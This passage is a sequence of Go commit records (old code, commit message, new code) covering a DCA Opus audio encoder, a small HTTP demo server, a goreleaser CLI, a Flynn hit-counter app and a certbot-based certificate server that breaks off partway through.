<commit_before>package main

import (
	"bytes"
	"bufio"
	"encoding/binary"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"os"
	"os/exec"
	"strconv"
	"sync"

	"github.com/layeh/gopus"
)

// Define constants
const (
	// The current version of the DCA format
	FormatVersion int8 = 1

	// The current version of the DCA program
	ProgramVersion string = "0.0.1"

	// The URL to the GitHub repository of DCA
	GitHubRepositoryURL string = "https://github.com/bwmarrin/dca"
)

// All global variables used within the program
var (
	// Buffer for some commands
	CmdBuf bytes.Buffer

	// Metadata structures
	Metadata	MetadataStruct
	FFprobeData FFprobeMetadata

	// Magic bytes to write at the start of a DCA file
	MagicBytes string = fmt.Sprintf("DCA%d", FormatVersion)

	// 1 for mono, 2 for stereo
	Channels int

	// Must be one of 8000, 12000, 16000, 24000, or 48000.
	// Discord only uses 48000 currently.
	FrameRate int

	// Rates from 500 to 512000 bits per second are meaningful
	// Discord only uses 8000 to 128000 and default is 64000
	Bitrate int

	// Must be one of voip, audio, or lowdelay.
	// DCA defaults to audio which is ideal for music
	// Not sure what Discord uses here, probably voip
	Application string

	FrameSize int // uint16 size of each audio frame
	MaxBytes  int // max size of opus data

	Volume int // change audio volume (256=normal)

	OpusEncoder *gopus.Encoder

	InFile string

	OutFile string = "pipe:1"
	OutBuf  []byte

	EncodeChan chan []int16
	OutputChan chan []byte

	err error

	wg sync.WaitGroup
)

// init configures and parses the command line arguments
func init() {

	flag.StringVar(&InFile, "i", "pipe:0", "infile")
	flag.IntVar(&Volume, "vol", 256, "change audio volume (256=normal)")
	flag.IntVar(&Channels, "ac", 2, "audio channels")
	flag.IntVar(&FrameRate, "ar", 48000, "audio sampling rate")
	flag.IntVar(&FrameSize, "as", 960, "audio frame size can be 960 (20ms), 1920 (40ms), or 2880 (60ms)")
	flag.IntVar(&Bitrate, "ab", 64, "audio encoding bitrate in kb/s can be 8 - 128")
	flag.StringVar(&Application, "aa", "audio", "audio application can be voip, audio, or lowdelay")

	if len(os.Args) < 2 {
		flag.Usage()
		os.Exit(1)
	}

	flag.Parse()

	MaxBytes = (FrameSize * Channels) * 2 // max size of opus data
}

// very simple program that wraps ffmpeg and outputs raw opus data frames
// with a uint16 header for each frame with the frame length in bytes
func main() {

	//////////////////////////////////////////////////////////////////////////
	// BLOCK : Basic setup and validation
	//////////////////////////////////////////////////////////////////////////

	// If only one argument provided assume it's a filename.
	if len(os.Args) == 2 {
		InFile = os.Args[1]
	}

	// If reading from a file, verify it exists.
	if InFile != "pipe:0" {

		if _, err := os.Stat(InFile); os.IsNotExist(err) {
			fmt.Println("error: infile does not exist")
			flag.Usage()
			return
		}
	}

	// If reading from pipe, make sure pipe is open
	if InFile == "pipe:0" {
		fi, err := os.Stdin.Stat()
		if err != nil {
			fmt.Println(err)
			return
		}

		if (fi.Mode() & os.ModeCharDevice) == 0 {
		} else {
			fmt.Println("error: stdin is not a pipe.")
			flag.Usage()
			return
		}
	}

	//////////////////////////////////////////////////////////////////////////
	// BLOCK : Create chans, buffers, and encoder for use
	//////////////////////////////////////////////////////////////////////////

	// create an opusEncoder to use
	OpusEncoder, err = gopus.NewEncoder(FrameRate, Channels, gopus.Audio)
	if err != nil {
		fmt.Println("NewEncoder Error:", err)
		return
	}

	// set opus encoding options
	//	OpusEncoder.SetVbr(true)                // bool

	if Bitrate < 1 || Bitrate > 512 {
		Bitrate = 64 // Set to Discord default
	}
	OpusEncoder.SetBitrate(Bitrate * 1000)

	switch Application {
	case "voip":
		OpusEncoder.SetApplication(gopus.Voip)
	case "audio":
		OpusEncoder.SetApplication(gopus.Audio)
	case "lowdelay":
		OpusEncoder.SetApplication(gopus.RestrictedLowDelay)
	default:
		OpusEncoder.SetApplication(gopus.Audio)
	}

	OutputChan = make(chan []byte, 10)
	EncodeChan = make(chan []int16, 10)

	// Setup the metadata
	Metadata = MetadataStruct{
		Dca: &DCAMetadata{
			Version: FormatVersion,
			Tool: &DCAToolMetadata{
				Name: "dca",
				Version: ProgramVersion,
				Revision: "",
				Url: GitHubRepositoryURL,
				Author: "bwmarrin",
			},
		},
		SongInfo: &SongMetadata{},
		Origin: &OriginMetadata{},
		Opus: &OpusMetadata{
			SampleRate: FrameRate,
			Application: Application,
			FrameSize: FrameSize,
			Channels: Channels,
		},
	}
	_ = Metadata

	// try get the git revision
	git := exec.Command("cd $GOPATH/src/github.com/bwmarrin/dca && git rev-parse HEAD")
	git.Stdout = &CmdBuf

	err = git.Start()
	if err == nil {
		err = git.Wait()
		if err != nil {
			fmt.Println("Git Error:", err)
			return
		}

		Metadata.Dca.Tool.Revision = CmdBuf.String()
	}

	// get ffprobe data
	if InFile != "pipe:0" {
		ffprobe := exec.Command("ffprobe", "-v", "quiet", "-print_format", "json", "-show_format", InFile)
		ffprobe.Stdout = &CmdBuf

		err = ffprobe.Start()
		if err != nil {
			fmt.Println("RunStart Error:", err)
			return
		}

		err = ffprobe.Wait()
		if err != nil {
			fmt.Println("FFprobe Error:", err)
			return
		}

		err = json.Unmarshal(CmdBuf.Bytes(), &FFprobeData)
		if err != nil {
			fmt.Println("Erorr unmarshaling the FFprobe JSON:", err)
			return
		}

		Metadata.SongInfo = &SongMetadata{
			Title: FFprobeData.Format.Tags.Title,
			Artist: FFprobeData.Format.Tags.Artist,
			Album: FFprobeData.Format.Tags.Album,
			Genre: FFprobeData.Format.Tags.Genre,
			Comments: "", // change later?
		}

		Metadata.Origin = &OriginMetadata{
			Source: "file",
			Bitrate: FFprobeData.Format.Bitrate,
			Channels: Channels,
			Encoding: FFprobeData.Format.FormatLongName,
			Url: FFprobeData.Format.FileName,
		}
	}

	//////////////////////////////////////////////////////////////////////////
	// BLOCK : Start reader and writer workers
	//////////////////////////////////////////////////////////////////////////

	wg.Add(1)
	go reader()

	wg.Add(1)
	go encoder()

	wg.Add(1)
	go writer()

	// wait for above goroutines to finish, then exit.
	wg.Wait()
}

// reader reads from the input
func reader() {

	defer func() {
		close(EncodeChan)
		wg.Done()
	}()

	// read from file
	if InFile != "pipe:0" {

		// Create a shell command "object" to run.
		ffmpeg := exec.Command("ffmpeg", "-i", InFile, "-vol", strconv.Itoa(Volume), "-f", "s16le", "-ar", strconv.Itoa(FrameRate), "-ac", strconv.Itoa(Channels), "pipe:1")
		stdout, err := ffmpeg.StdoutPipe()
		if err != nil {
			fmt.Println("StdoutPipe Error:", err)
			return
		}

		// Starts the ffmpeg command
		err = ffmpeg.Start()
		if err != nil {
			fmt.Println("RunStart Error:", err)
			return
		}

		for {

			// read data from ffmpeg stdout
			InBuf := make([]int16, FrameSize*Channels)
			err = binary.Read(stdout, binary.LittleEndian, &InBuf)
			if err == io.EOF || err == io.ErrUnexpectedEOF {
				return
			}
			if err != nil {
				fmt.Println("error reading from ffmpeg stdout :", err)
				return
			}

			// write pcm data to the EncodeChan
			EncodeChan <- InBuf

		}
	}

	// read input from stdin pipe
	if InFile == "pipe:0" {

		// 16KB input buffer
		rbuf := bufio.NewReaderSize(os.Stdin, 16384)
		for {

			// read data from stdin
			InBuf := make([]int16, FrameSize*Channels)

			err = binary.Read(rbuf, binary.LittleEndian, &InBuf)
			if err == io.EOF || err == io.ErrUnexpectedEOF {
				return
			}
			if err != nil {
				fmt.Println("error reading from ffmpeg stdout :", err)
				return
			}

			// write pcm data to the EncodeChan
			EncodeChan <- InBuf
		}
	}

}

// encoder listens on the EncodeChan and encodes provided PCM16 data
// to opus, then sends the encoded data to the OutputChan
func encoder() {

	defer func() {
		close(OutputChan)
		wg.Done()
	}()

	for {
		pcm, ok := <-EncodeChan
		if !ok {
			// if chan closed, exit
			return
		}

		// try encoding pcm frame with Opus
		opus, err := OpusEncoder.Encode(pcm, FrameSize, MaxBytes)
		if err != nil {
			fmt.Println("Encoding Error:", err)
			return
		}

		// write opus data to OutputChan
		OutputChan <- opus
	}
}

// writer listens on the OutputChan and writes the output to stdout pipe
// TODO: Add support for writing directly to a file
func writer() {

	defer wg.Done()

	var opuslen uint16
	var jsonlen int16

	// 16KB output buffer
	wbuf := bufio.NewWriterSize(os.Stdout, 16384)

	// write the magic bytes
	fmt.Print(MagicBytes)

	// encode and write json
	json, err := json.Marshal(Metadata)
	if err != nil {
		fmt.Println("Failed to encode the Metadata JSON:", err)
		return
	}

	jsonlen = int16(len(json))

	err = binary.Write(wbuf, binary.LittleEndian, &jsonlen)
	if err != nil {
		fmt.Println("error writing output: ", err)
		return
	}

	wbuf.Write(json)

	for {
		opus, ok := <-OutputChan
		if !ok {
			// if chan closed, exit
			return
		}

		// write header
		opuslen = uint16(len(opus))
		err = binary.Write(wbuf, binary.LittleEndian, &opuslen)
		if err != nil {
			fmt.Println("error writing output: ", err)
			return
		}

		// write opus data to stdout
		err = binary.Write(wbuf, binary.LittleEndian, &opus)
		if err != nil {
			fmt.Println("error writing output: ", err)
			return
		}
	}
}
<commit_msg>convert to signed integers<commit_after>package main

import (
	"bytes"
	"bufio"
	"encoding/binary"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"os"
	"os/exec"
	"strconv"
	"sync"

	"github.com/layeh/gopus"
)

// Define constants
const (
	// The current version of the DCA format
	FormatVersion int8 = 1

	// The current version of the DCA program
	ProgramVersion string = "0.0.1"

	// The URL to the GitHub repository of DCA
	GitHubRepositoryURL string = "https://github.com/bwmarrin/dca"
)

// All global variables used within the program
var (
	// Buffer for some commands
	CmdBuf bytes.Buffer

	// Metadata structures
	Metadata	MetadataStruct
	FFprobeData FFprobeMetadata

	// Magic bytes to write at the start of a DCA file
	MagicBytes string = fmt.Sprintf("DCA%d", FormatVersion)

	// 1 for mono, 2 for stereo
	Channels int

	// Must be one of 8000, 12000, 16000, 24000, or 48000.
	// Discord only uses 48000 currently.
	FrameRate int

	// Rates from 500 to 512000 bits per second are meaningful
	// Discord only uses 8000 to 128000 and default is 64000
	Bitrate int

	// Must be one of voip, audio, or lowdelay.
	// DCA defaults to audio which is ideal for music
	// Not sure what Discord uses here, probably voip
	Application string

	FrameSize int // uint16 size of each audio frame
	MaxBytes  int // max size of opus data

	Volume int // change audio volume (256=normal)

	OpusEncoder *gopus.Encoder

	InFile string

	OutFile string = "pipe:1"
	OutBuf  []byte

	EncodeChan chan []int16
	OutputChan chan []byte

	err error

	wg sync.WaitGroup
)

// init configures and parses the command line arguments
func init() {

	flag.StringVar(&InFile, "i", "pipe:0", "infile")
	flag.IntVar(&Volume, "vol", 256, "change audio volume (256=normal)")
	flag.IntVar(&Channels, "ac", 2, "audio channels")
	flag.IntVar(&FrameRate, "ar", 48000, "audio sampling rate")
	flag.IntVar(&FrameSize, "as", 960, "audio frame size can be 960 (20ms), 1920 (40ms), or 2880 (60ms)")
	flag.IntVar(&Bitrate, "ab", 64, "audio encoding bitrate in kb/s can be 8 - 128")
	flag.StringVar(&Application, "aa", "audio", "audio application can be voip, audio, or lowdelay")

	if len(os.Args) < 2 {
		flag.Usage()
		os.Exit(1)
	}

	flag.Parse()

	MaxBytes = (FrameSize * Channels) * 2 // max size of opus data
}

// very simple program that wraps ffmpeg and outputs raw opus data frames
// with a uint16 header for each frame with the frame length in bytes
func main() {

	//////////////////////////////////////////////////////////////////////////
	// BLOCK : Basic setup and validation
	//////////////////////////////////////////////////////////////////////////

	// If only one argument provided assume it's a filename.
	if len(os.Args) == 2 {
		InFile = os.Args[1]
	}

	// If reading from a file, verify it exists.
	if InFile != "pipe:0" {

		if _, err := os.Stat(InFile); os.IsNotExist(err) {
			fmt.Println("error: infile does not exist")
			flag.Usage()
			return
		}
	}

	// If reading from pipe, make sure pipe is open
	if InFile == "pipe:0" {
		fi, err := os.Stdin.Stat()
		if err != nil {
			fmt.Println(err)
			return
		}

		if (fi.Mode() & os.ModeCharDevice) == 0 {
		} else {
			fmt.Println("error: stdin is not a pipe.")
			flag.Usage()
			return
		}
	}

	//////////////////////////////////////////////////////////////////////////
	// BLOCK : Create chans, buffers, and encoder for use
	//////////////////////////////////////////////////////////////////////////

	// create an opusEncoder to use
	OpusEncoder, err = gopus.NewEncoder(FrameRate, Channels, gopus.Audio)
	if err != nil {
		fmt.Println("NewEncoder Error:", err)
		return
	}

	// set opus encoding options
	//	OpusEncoder.SetVbr(true)                // bool

	if Bitrate < 1 || Bitrate > 512 {
		Bitrate = 64 // Set to Discord default
	}
	OpusEncoder.SetBitrate(Bitrate * 1000)

	switch Application {
	case "voip":
		OpusEncoder.SetApplication(gopus.Voip)
	case "audio":
		OpusEncoder.SetApplication(gopus.Audio)
	case "lowdelay":
		OpusEncoder.SetApplication(gopus.RestrictedLowDelay)
	default:
		OpusEncoder.SetApplication(gopus.Audio)
	}

	OutputChan = make(chan []byte, 10)
	EncodeChan = make(chan []int16, 10)

	// Setup the metadata
	Metadata = MetadataStruct{
		Dca: &DCAMetadata{
			Version: FormatVersion,
			Tool: &DCAToolMetadata{
				Name: "dca",
				Version: ProgramVersion,
				Revision: "",
				Url: GitHubRepositoryURL,
				Author: "bwmarrin",
			},
		},
		SongInfo: &SongMetadata{},
		Origin: &OriginMetadata{},
		Opus: &OpusMetadata{
			SampleRate: FrameRate,
			Application: Application,
			FrameSize: FrameSize,
			Channels: Channels,
		},
	}
	_ = Metadata

	// try get the git revision
	git := exec.Command("cd $GOPATH/src/github.com/bwmarrin/dca && git rev-parse HEAD")
	git.Stdout = &CmdBuf

	err = git.Start()
	if err == nil {
		err = git.Wait()
		if err != nil {
			fmt.Println("Git Error:", err)
			return
		}

		Metadata.Dca.Tool.Revision = CmdBuf.String()
	}

	// get ffprobe data
	if InFile != "pipe:0" {
		ffprobe := exec.Command("ffprobe", "-v", "quiet", "-print_format", "json", "-show_format", InFile)
		ffprobe.Stdout = &CmdBuf

		err = ffprobe.Start()
		if err != nil {
			fmt.Println("RunStart Error:", err)
			return
		}

		err = ffprobe.Wait()
		if err != nil {
			fmt.Println("FFprobe Error:", err)
			return
		}

		err = json.Unmarshal(CmdBuf.Bytes(), &FFprobeData)
		if err != nil {
			fmt.Println("Erorr unmarshaling the FFprobe JSON:", err)
			return
		}

		Metadata.SongInfo = &SongMetadata{
			Title: FFprobeData.Format.Tags.Title,
			Artist: FFprobeData.Format.Tags.Artist,
			Album: FFprobeData.Format.Tags.Album,
			Genre: FFprobeData.Format.Tags.Genre,
			Comments: "", // change later?
		}

		Metadata.Origin = &OriginMetadata{
			Source: "file",
			Bitrate: FFprobeData.Format.Bitrate,
			Channels: Channels,
			Encoding: FFprobeData.Format.FormatLongName,
			Url: FFprobeData.Format.FileName,
		}
	}

	//////////////////////////////////////////////////////////////////////////
	// BLOCK : Start reader and writer workers
	//////////////////////////////////////////////////////////////////////////

	wg.Add(1)
	go reader()

	wg.Add(1)
	go encoder()

	wg.Add(1)
	go writer()

	// wait for above goroutines to finish, then exit.
	wg.Wait()
}

// reader reads from the input
func reader() {

	defer func() {
		close(EncodeChan)
		wg.Done()
	}()

	// read from file
	if InFile != "pipe:0" {

		// Create a shell command "object" to run.
		ffmpeg := exec.Command("ffmpeg", "-i", InFile, "-vol", strconv.Itoa(Volume), "-f", "s16le", "-ar", strconv.Itoa(FrameRate), "-ac", strconv.Itoa(Channels), "pipe:1")
		stdout, err := ffmpeg.StdoutPipe()
		if err != nil {
			fmt.Println("StdoutPipe Error:", err)
			return
		}

		// Starts the ffmpeg command
		err = ffmpeg.Start()
		if err != nil {
			fmt.Println("RunStart Error:", err)
			return
		}

		for {

			// read data from ffmpeg stdout
			InBuf := make([]int16, FrameSize*Channels)
			err = binary.Read(stdout, binary.LittleEndian, &InBuf)
			if err == io.EOF || err == io.ErrUnexpectedEOF {
				return
			}
			if err != nil {
				fmt.Println("error reading from ffmpeg stdout :", err)
				return
			}

			// write pcm data to the EncodeChan
			EncodeChan <- InBuf

		}
	}

	// read input from stdin pipe
	if InFile == "pipe:0" {

		// 16KB input buffer
		rbuf := bufio.NewReaderSize(os.Stdin, 16384)
		for {

			// read data from stdin
			InBuf := make([]int16, FrameSize*Channels)

			err = binary.Read(rbuf, binary.LittleEndian, &InBuf)
			if err == io.EOF || err == io.ErrUnexpectedEOF {
				return
			}
			if err != nil {
				fmt.Println("error reading from ffmpeg stdout :", err)
				return
			}

			// write pcm data to the EncodeChan
			EncodeChan <- InBuf
		}
	}

}

// encoder listens on the EncodeChan and encodes provided PCM16 data
// to opus, then sends the encoded data to the OutputChan
func encoder() {

	defer func() {
		close(OutputChan)
		wg.Done()
	}()

	for {
		pcm, ok := <-EncodeChan
		if !ok {
			// if chan closed, exit
			return
		}

		// try encoding pcm frame with Opus
		opus, err := OpusEncoder.Encode(pcm, FrameSize, MaxBytes)
		if err != nil {
			fmt.Println("Encoding Error:", err)
			return
		}

		// write opus data to OutputChan
		OutputChan <- opus
	}
}

// writer listens on the OutputChan and writes the output to stdout pipe
// TODO: Add support for writing directly to a file
func writer() {

	defer wg.Done()

	var opuslen int16
	var jsonlen int16

	// 16KB output buffer
	wbuf := bufio.NewWriterSize(os.Stdout, 16384)

	// write the magic bytes
	fmt.Print(MagicBytes)

	// encode and write json length
	json, err := json.Marshal(Metadata)
	if err != nil {
		fmt.Println("Failed to encode the Metadata JSON:", err)
		return
	}

	jsonlen = int16(len(json))
	err = binary.Write(wbuf, binary.LittleEndian, &jsonlen)
	if err != nil {
		fmt.Println("error writing output: ", err)
		return
	}

	// write the actual json
	wbuf.Write(json)

	for {
		opus, ok := <-OutputChan
		if !ok {
			// if chan closed, exit
			return
		}

		// write header
		opuslen = int16(len(opus))
		err = binary.Write(wbuf, binary.LittleEndian, &opuslen)
		if err != nil {
			fmt.Println("error writing output: ", err)
			return
		}

		// write opus data to stdout
		err = binary.Write(wbuf, binary.LittleEndian, &opus)
		if err != nil {
			fmt.Println("error writing output: ", err)
			return
		}
	}
}
<|endoftext|>


<commit_before>package main

import (
	"log"
	"os"
)

func main() {
	l := log.New(os.Stderr, "", 0)
	if err := run(l); err != nil {
		log.Fatal(err)
	}
}

func run(l *log.Logger) error {
	return nil
}
<commit_msg>add little server<commit_after>package main

import (
	"io"
	"log"
	"net/http"
	"os"
	"strings"
)

func main() {
	l := log.New(os.Stderr, "", 0)
	if err := run(l); err != nil {
		log.Fatal(err)
	}
}

func run(l *log.Logger) error {
	port := os.Getenv("PORT")
	if port == "" {
		port = "3000"
	}
	if !strings.Contains(port, ":") {
		port = "0.0.0.0:" + port
	}
	mux := http.NewServeMux()
	mux.HandleFunc("/", index)
	mux.HandleFunc("/clicked", clicked)
	l.Printf("running on port %q", port)
	return http.ListenAndServe(port, mux)
}

func index(w http.ResponseWriter, r *http.Request) {
	io.WriteString(w, `<html><body><a href="#" onclick="javascript:document.location = '/clicked';">Click me</a>`)
}

func clicked(w http.ResponseWriter, r *http.Request) {
	io.WriteString(w, `<html><body><div id="clicked"><h2>you clicked!</h2></div>`)
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"os"

	"github.com/apex/log"
	lcli "github.com/apex/log/handlers/cli"
	"github.com/goreleaser/goreleaser/goreleaserlib"
	"github.com/urfave/cli"
)

var (
	version = "dev"
	commit  = "none"
	date    = "unknown"
)

func init() {
	log.SetHandler(lcli.New(os.Stdout))
}

func main() {
	var app = cli.NewApp()
	app.Name = "goreleaser"
	app.Version = fmt.Sprintf("%v, commit %v, built at %v", version, commit, date)
	app.Usage = "Deliver Go binaries as fast and easily as possible"
	app.Flags = []cli.Flag{
		cli.StringFlag{
			Name:  "config, file, c, f",
			Usage: "Load configuration from `FILE`",
			Value: ".goreleaser.yml",
		},
		cli.StringFlag{
			Name:  "release-notes",
			Usage: "Load custom release notes from a markdown `FILE`",
		},
		cli.BoolFlag{
			Name:  "skip-validate",
			Usage: "Skip all the validations against the release",
		},
		cli.BoolFlag{
			Name:  "skip-publish",
			Usage: "Skip all publishing pipes of the release",
		},
		cli.BoolFlag{
			Name:  "snapshot",
			Usage: "Generate an unversioned snapshot release",
		},
		cli.BoolFlag{
			Name:  "rm-dist",
			Usage: "Remove ./dist before building",
		},
		cli.BoolFlag{
			Name:  "debug",
			Usage: "Enable debug mode",
		},
	}
	app.Action = func(c *cli.Context) error {
		log.Infof("running goreleaser %v", version)
		if err := goreleaserlib.Release(c); err != nil {
			log.WithError(err).Error("release failed")
			return cli.NewExitError("\n", 1)
		}
		return nil
	}
	app.Commands = []cli.Command{
		{
			Name:    "init",
			Aliases: []string{"i"},
			Usage:   "generate .goreleaser.yml",
			Action: func(c *cli.Context) error {
				var filename = ".goreleaser.yml"
				if err := goreleaserlib.InitProject(filename); err != nil {
					log.WithError(err).Error("failed to init project")
					return cli.NewExitError("\n", 1)
				}

				log.WithField("file", filename).
					Info("config create, please edit accordingly to your needs")
				return nil
			},
		},
	}
	if err := app.Run(os.Args); err != nil {
		log.WithError(err).Fatal("failed")
	}
}
<commit_msg>Fixes spelling mistake.<commit_after>package main

import (
	"fmt"
	"os"

	"github.com/apex/log"
	lcli "github.com/apex/log/handlers/cli"
	"github.com/goreleaser/goreleaser/goreleaserlib"
	"github.com/urfave/cli"
)

var (
	version = "dev"
	commit  = "none"
	date    = "unknown"
)

func init() {
	log.SetHandler(lcli.New(os.Stdout))
}

func main() {
	var app = cli.NewApp()
	app.Name = "goreleaser"
	app.Version = fmt.Sprintf("%v, commit %v, built at %v", version, commit, date)
	app.Usage = "Deliver Go binaries as fast and easily as possible"
	app.Flags = []cli.Flag{
		cli.StringFlag{
			Name:  "config, file, c, f",
			Usage: "Load configuration from `FILE`",
			Value: ".goreleaser.yml",
		},
		cli.StringFlag{
			Name:  "release-notes",
			Usage: "Load custom release notes from a markdown `FILE`",
		},
		cli.BoolFlag{
			Name:  "skip-validate",
			Usage: "Skip all the validations against the release",
		},
		cli.BoolFlag{
			Name:  "skip-publish",
			Usage: "Skip all publishing pipes of the release",
		},
		cli.BoolFlag{
			Name:  "snapshot",
			Usage: "Generate an unversioned snapshot release",
		},
		cli.BoolFlag{
			Name:  "rm-dist",
			Usage: "Remove ./dist before building",
		},
		cli.BoolFlag{
			Name:  "debug",
			Usage: "Enable debug mode",
		},
	}
	app.Action = func(c *cli.Context) error {
		log.Infof("running goreleaser %v", version)
		if err := goreleaserlib.Release(c); err != nil {
			log.WithError(err).Error("release failed")
			return cli.NewExitError("\n", 1)
		}
		return nil
	}
	app.Commands = []cli.Command{
		{
			Name:    "init",
			Aliases: []string{"i"},
			Usage:   "generate .goreleaser.yml",
			Action: func(c *cli.Context) error {
				var filename = ".goreleaser.yml"
				if err := goreleaserlib.InitProject(filename); err != nil {
					log.WithError(err).Error("failed to init project")
					return cli.NewExitError("\n", 1)
				}

				log.WithField("file", filename).
					Info("config created; please edit accordingly to your needs")
				return nil
			},
		},
	}
	if err := app.Run(os.Args); err != nil {
		log.WithError(err).Fatal("failed")
	}
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"log"
	"net/http"
	"os"

	"github.com/flynn/go-flynn/migrate"
	"github.com/flynn/go-flynn/postgres"
)

func main() {
	db, err := postgres.Open("", "")
	if err != nil {
		log.Fatal(err)
	}

	m := migrate.NewMigrations()
	m.Add(1,
		`CREATE TABLE hits (count int)`,
		`INSERT INTO hits (count) VALUES (0)`,
	)
	if err := m.Migrate(db.DB); err != nil {
		log.Fatal(err)
	}

	stmt, err := db.Prepare("UPDATE hits SET count = count+1 RETURNING count")
	if err != nil {
		log.Fatal(err)
	}

	port := os.Getenv("PORT")

	http.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
		var count int
		if err := stmt.QueryRow().Scan(&count); err != nil {
			w.WriteHeader(500)
			w.Write([]byte(err.Error()))
			return
		}
		fmt.Fprintf(w, "Hello from Go on Flynn: port=%s hits=%d", port, count)
	})
	fmt.Println("hitcounter listening on port", port)
	log.Fatal(http.ListenAndServe(":"+port, nil))
}
<commit_msg>Use a sequence<commit_after>package main

import (
	"fmt"
	"log"
	"net/http"
	"os"

	"github.com/flynn/go-flynn/migrate"
	"github.com/flynn/go-flynn/postgres"
)

func main() {
	db, err := postgres.Open("", "")
	if err != nil {
		log.Fatal(err)
	}

	m := migrate.NewMigrations()
	m.Add(1, "CREATE SEQUENCE hits")
	if err := m.Migrate(db.DB); err != nil {
		log.Fatal(err)
	}

	stmt, err := db.Prepare("SELECT nextval(hits)")
	if err != nil {
		log.Fatal(err)
	}

	port := os.Getenv("PORT")

	http.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
		var count int
		if err := stmt.QueryRow().Scan(&count); err != nil {
			w.WriteHeader(500)
			w.Write([]byte(err.Error()))
			return
		}
		fmt.Fprintf(w, "Hello from Go on Flynn: port=%s hits=%d", port, count)
	})
	fmt.Println("hitcounter listening on port", port)
	log.Fatal(http.ListenAndServe(":"+port, nil))
}
<|endoftext|>


<commit_before>package main

import (
	"crypto/tls"
	"crypto/x509"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"strings"
	"sync"

	"golang.org/x/crypto/acme"
	"golang.org/x/crypto/acme/autocert"
	"golang.org/x/net/context"
)

var version = flag.Bool("version", false, "Show the version and exit.")
var domain = flag.String("domain", "", "The domain we are responsible for.")
var prod = flag.Bool("prod", false, "If this is set, then talk to the real production LetsEncrypt API.")
var cacheDir = flag.String("cache", "cache", "The location of the autocert cache directory.")

type Instance struct {
	Id, Name string
}

func getDomain(host string) (string, error) {
	x := strings.Split(host, ".")
	if len(x) > 1 {
		return strings.Join(x[1:], "."), nil
	} else {
		return "", fmt.Errorf("host %v has no dots", host)
	}
}

func HostWhitelistByDomains(doms map[string]bool) autocert.HostPolicy {
	return func(_ context.Context, host string) error {
		// FQDNs can end in dot
		// Except, see https://github.com/letsencrypt/boulder/issues/2367
		if strings.HasSuffix(host, ".") {
			host = host[0 : len(host)-1]
		}
		host = strings.ToLower(host)

		dom, err := getDomain(host)
		if err != nil {
			return err
		}

		if doms[dom] {
			return nil
		}
		return fmt.Errorf("certomat: domain %v not allowed", dom)
	}
}

func getNameFromCSR(csr []byte) string {
	cr, err := x509.ParseCertificateRequest(csr)
	if err != nil {
		return ""
	}
	return cr.Subject.CommonName
}

func httpError(w http.ResponseWriter, why string, code int) {
	log.Printf("err %v because: %v", code, why)
	http.Error(w, why, code)
}

var certbotMu sync.Mutex

// Handles URLs like https://certomatFqdn/get-cert-from-csr
//
// Read the CSR from the Body, send it to LetsEncrypt,
// send the cert back to them.
func getHandler(w http.ResponseWriter, r *http.Request) {
	log.Print(*r)

	if r.Method != "POST" {
		httpError(w, "post only", http.StatusMethodNotAllowed)
	}

	csr, err := ioutil.ReadAll(r.Body)
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	name := getNameFromCSR(csr)
	log.Print("certificate requested for ", name)

	tmpfile, err := ioutil.TempFile("", "csr")
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	defer os.Remove(tmpfile.Name()) // clean up

	if _, err := tmpfile.Write(csr); err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}
	if err := tmpfile.Close(); err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	// turn csr into a cert by calling out to certbot
	args := []string{"certbot", "certonly", "--standalone",
		"--http-01-addr", name,
		"--csr", tmpfile.Name(), "--config-dir", "./config",
		"--work-dir", "./work", "--logs-dir", "./logs",
		"--non-interactive", "--preferred-challenges", "http",
		"--agree-tos", "--email", "jeff.allen@geneva.msf.org",
		"-d", name}
	if !*prod {
		args = append(args, "--test-cert")
	}

	path, err := exec.LookPath("certbot")
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	cmd := &exec.Cmd{
		Path:   path,
		Args:   args,
		Stdout: os.Stdout,
		Stderr: os.Stderr,
	}
	log.Print("certbot cmd: ", cmd)

	certbotMu.Lock()
	defer certbotMu.Unlock()

	err = cmd.Start()
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}
	err = cmd.Wait()
	if err != nil {
		httpError(w,
			fmt.Sprintf("certbot result code: %v", err.Error()),
			http.StatusInternalServerError)
		return
	}

	cert, err := ioutil.ReadFile("0000_cert.pem")
	if err != nil {
		httpError(w,
			fmt.Sprintf("cannot read cert: %v", err.Error()),
			http.StatusInternalServerError)
		return
	}

	w.Header().Set("Content-Type", "text/plain")
	w.Write(cert)

	cmd = exec.Command("sh", "-c", "rm 00*")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Run()
}

var mgr *autocert.Manager
var certomatFqdn string

var gitRevision = "(dev)"

func main() {
	flag.Parse()
	if *version {
		fmt.Println(gitRevision)
		return
	}

	if *domain == "" {
		fmt.Println("Domain argument is required. Exiting.")
		return
	}
	var domainNames = map[string]bool{
		*domain: true,
	}
	certomatFqdn := fmt.Sprintf("certomat.%v", *domain)

	// Check that we can find certbot.
	_, err := exec.LookPath("certbot")
	if err != nil {
		log.Fatal("Cannot find certbot: ", err)
	}

	// Get certbot registered and ready to go.
	cmdstr := fmt.Sprintf("if [ -d ./config/accounts/acme-staging.api.letsencrypt.org ]; then true; else certbot register --agree-tos --email jeff.allen@geneva.msf.org --config-dir ./config --work-dir ./work --logs-dir ./logs --non-interactive --test-cert; fi")
	if *prod {
		cmdstr = "if [ -d ./config/accounts/acme-v01.api.letsencrypt.org ]; then true; else certbot register --agree-tos --email jeff.allen@geneva.msf.org --config-dir ./config --work-dir ./work --logs-dir ./logs --non-interactive; fi"
	}
	cmd := exec.Command("sh", "-c", cmdstr)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	err = cmd.Run()
	if err != nil {
		log.Fatal("could not initialize certbot: ", err)
	}

	// Default dirUrl to empty, to select the production API. Then
	// if the flag says we are not in prod mode, set the test mode URL.
	dirUrl := ""
	if !*prod {
